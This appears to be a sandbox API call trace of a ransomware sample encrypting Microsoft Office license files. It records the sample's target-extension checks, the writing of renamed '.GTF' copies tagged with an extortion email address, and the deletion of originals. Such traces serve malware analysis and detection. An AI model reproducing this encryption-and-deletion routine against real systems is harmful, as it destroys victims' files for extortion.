	[0181.274] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms") returned 86
	[0181.274] lstrlenW (lpString=".1cd") returned 4
	[0181.274] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms") returned 86
	[0181.274] lstrlenW (lpString=".jpg") returned 4
	[0181.274] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.275] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0181.275] lstrlenW (lpString="O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms") returned 46
	[0181.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0181.275] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=11235) returned 1
	[0181.275] CloseHandle (hObject=0x548) returned 1
	[0181.275] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-pl.xrm-ms")) returned 0x220
	[0181.275] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0181.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0181.276] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.276] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0181.277] GetLastError () returned 0x0
	[0181.277] ReadFile (in: hFile=0x548, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x2be3, lpOverlapped=0x0) returned 1
	[0181.278] WriteFile (in: hFile=0x378, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x2bf0, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x2bf0, lpOverlapped=0x0) returned 1
	[0181.279] ReadFile (in: hFile=0x548, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.279] WriteFile (in: hFile=0x378, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x130, lpOverlapped=0x0) returned 1
	[0181.280] SetEndOfFile (hFile=0x378) returned 1
	[0181.280] CloseHandle (hObject=0x378) returned 1
	[0181.280] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.280] SetEndOfFile (hFile=0x548) returned 1
	[0181.283] CloseHandle (hObject=0x548) returned 1
	[0181.283] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0181.284] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-pl.xrm-ms")) returned 1
	[0181.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms") returned 96
	[0181.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms") returned 96
	[0181.284] lstrlenW (lpString=".doc") returned 4
	[0181.284] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.284] lstrlenW (lpString=".docx") returned 5
	[0181.284] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.284] lstrlenW (lpString=".pdf") returned 4
	[0181.284] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.285] lstrlenW (lpString=".xls") returned 4
	[0181.285] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.285] lstrlenW (lpString=".xlsx") returned 5
	[0181.285] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.285] lstrlenW (lpString=".ppt") returned 4
	[0181.285] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms") returned 96
	[0181.285] lstrlenW (lpString=".zip") returned 4
	[0181.285] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.285] lstrlenW (lpString=".rar") returned 4
	[0181.285] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.285] lstrlenW (lpString=".bz2") returned 4
	[0181.285] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.285] lstrlenW (lpString=".7z") returned 3
	[0181.285] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms") returned 96
	[0181.285] lstrlenW (lpString=".dbf") returned 4
	[0181.285] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms") returned 96
	[0181.285] lstrlenW (lpString=".1cd") returned 4
	[0181.285] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms") returned 96
	[0181.285] lstrlenW (lpString=".jpg") returned 4
	[0181.285] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms") returned 96
	[0181.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms") returned 96
	[0181.285] lstrlenW (lpString=".doc") returned 4
	[0181.285] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.285] lstrlenW (lpString=".docx") returned 5
	[0181.285] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.285] lstrlenW (lpString=".pdf") returned 4
	[0181.285] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.285] lstrlenW (lpString=".xls") returned 4
	[0181.285] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.285] lstrlenW (lpString=".xlsx") returned 5
	[0181.285] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.285] lstrlenW (lpString=".ppt") returned 4
	[0181.286] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms") returned 96
	[0181.286] lstrlenW (lpString=".zip") returned 4
	[0181.286] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.286] lstrlenW (lpString=".rar") returned 4
	[0181.286] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.286] lstrlenW (lpString=".bz2") returned 4
	[0181.286] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.286] lstrlenW (lpString=".7z") returned 3
	[0181.286] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms") returned 96
	[0181.286] lstrlenW (lpString=".dbf") returned 4
	[0181.286] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms") returned 96
	[0181.286] lstrlenW (lpString=".1cd") returned 4
	[0181.286] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms") returned 96
	[0181.286] lstrlenW (lpString=".jpg") returned 4
	[0181.286] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.286] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0181.286] lstrlenW (lpString="O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms") returned 47
	[0181.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0181.287] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=23860) returned 1
	[0181.287] CloseHandle (hObject=0x548) returned 1
	[0181.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-ppd.xrm-ms")) returned 0x220
	[0181.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0181.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0181.287] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.288] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0181.288] GetLastError () returned 0x0
	[0181.288] ReadFile (in: hFile=0x548, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x5d34, lpOverlapped=0x0) returned 1
	[0181.298] WriteFile (in: hFile=0x378, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x5d40, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x5d40, lpOverlapped=0x0) returned 1
	[0181.299] ReadFile (in: hFile=0x548, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.299] WriteFile (in: hFile=0x378, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x132, lpOverlapped=0x0) returned 1
	[0181.299] SetEndOfFile (hFile=0x378) returned 1
	[0181.299] CloseHandle (hObject=0x378) returned 1
	[0181.299] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.299] SetEndOfFile (hFile=0x548) returned 1
	[0181.302] CloseHandle (hObject=0x548) returned 1
	[0181.302] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0181.303] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-ppd.xrm-ms")) returned 1
	[0181.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms") returned 97
	[0181.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms") returned 97
	[0181.303] lstrlenW (lpString=".doc") returned 4
	[0181.303] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.303] lstrlenW (lpString=".docx") returned 5
	[0181.303] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.303] lstrlenW (lpString=".pdf") returned 4
	[0181.304] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.304] lstrlenW (lpString=".xls") returned 4
	[0181.304] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.304] lstrlenW (lpString=".xlsx") returned 5
	[0181.304] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.304] lstrlenW (lpString=".ppt") returned 4
	[0181.304] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms") returned 97
	[0181.304] lstrlenW (lpString=".zip") returned 4
	[0181.304] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.304] lstrlenW (lpString=".rar") returned 4
	[0181.304] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.304] lstrlenW (lpString=".bz2") returned 4
	[0181.304] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.304] lstrlenW (lpString=".7z") returned 3
	[0181.304] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms") returned 97
	[0181.304] lstrlenW (lpString=".dbf") returned 4
	[0181.304] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms") returned 97
	[0181.304] lstrlenW (lpString=".1cd") returned 4
	[0181.304] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms") returned 97
	[0181.304] lstrlenW (lpString=".jpg") returned 4
	[0181.304] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms") returned 97
	[0181.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms") returned 97
	[0181.304] lstrlenW (lpString=".doc") returned 4
	[0181.304] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.304] lstrlenW (lpString=".docx") returned 5
	[0181.304] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.304] lstrlenW (lpString=".pdf") returned 4
	[0181.304] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.304] lstrlenW (lpString=".xls") returned 4
	[0181.304] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.304] lstrlenW (lpString=".xlsx") returned 5
	[0181.304] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.305] lstrlenW (lpString=".ppt") returned 4
	[0181.305] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms") returned 97
	[0181.305] lstrlenW (lpString=".zip") returned 4
	[0181.305] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.305] lstrlenW (lpString=".rar") returned 4
	[0181.305] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.305] lstrlenW (lpString=".bz2") returned 4
	[0181.305] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.305] lstrlenW (lpString=".7z") returned 3
	[0181.305] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms") returned 97
	[0181.305] lstrlenW (lpString=".dbf") returned 4
	[0181.305] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms") returned 97
	[0181.305] lstrlenW (lpString=".1cd") returned 4
	[0181.305] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms") returned 97
	[0181.305] lstrlenW (lpString=".jpg") returned 4
	[0181.305] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.305] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0181.305] lstrlenW (lpString="O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 50
	[0181.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0181.306] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=11694) returned 1
	[0181.306] CloseHandle (hObject=0x548) returned 1
	[0181.306] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-ul-oob.xrm-ms")) returned 0x220
	[0181.306] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0181.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0181.307] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.307] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0181.308] GetLastError () returned 0x0
	[0181.308] ReadFile (in: hFile=0x548, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x2dae, lpOverlapped=0x0) returned 1
	[0181.469] WriteFile (in: hFile=0x378, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x2db0, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x2db0, lpOverlapped=0x0) returned 1
	[0181.470] ReadFile (in: hFile=0x548, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.470] WriteFile (in: hFile=0x378, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x138, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x138, lpOverlapped=0x0) returned 1
	[0181.470] SetEndOfFile (hFile=0x378) returned 1
	[0181.471] CloseHandle (hObject=0x378) returned 1
	[0181.471] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.471] SetEndOfFile (hFile=0x548) returned 1
	[0181.473] CloseHandle (hObject=0x548) returned 1
	[0181.473] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0181.474] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-ul-oob.xrm-ms")) returned 1
	[0181.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 100
	[0181.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 100
	[0181.474] lstrlenW (lpString=".doc") returned 4
	[0181.474] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.474] lstrlenW (lpString=".docx") returned 5
	[0181.474] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.475] lstrlenW (lpString=".pdf") returned 4
	[0181.475] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.475] lstrlenW (lpString=".xls") returned 4
	[0181.475] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.475] lstrlenW (lpString=".xlsx") returned 5
	[0181.475] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.475] lstrlenW (lpString=".ppt") returned 4
	[0181.475] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 100
	[0181.475] lstrlenW (lpString=".zip") returned 4
	[0181.475] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.475] lstrlenW (lpString=".rar") returned 4
	[0181.475] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.475] lstrlenW (lpString=".bz2") returned 4
	[0181.475] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.475] lstrlenW (lpString=".7z") returned 3
	[0181.475] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 100
	[0181.475] lstrlenW (lpString=".dbf") returned 4
	[0181.475] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
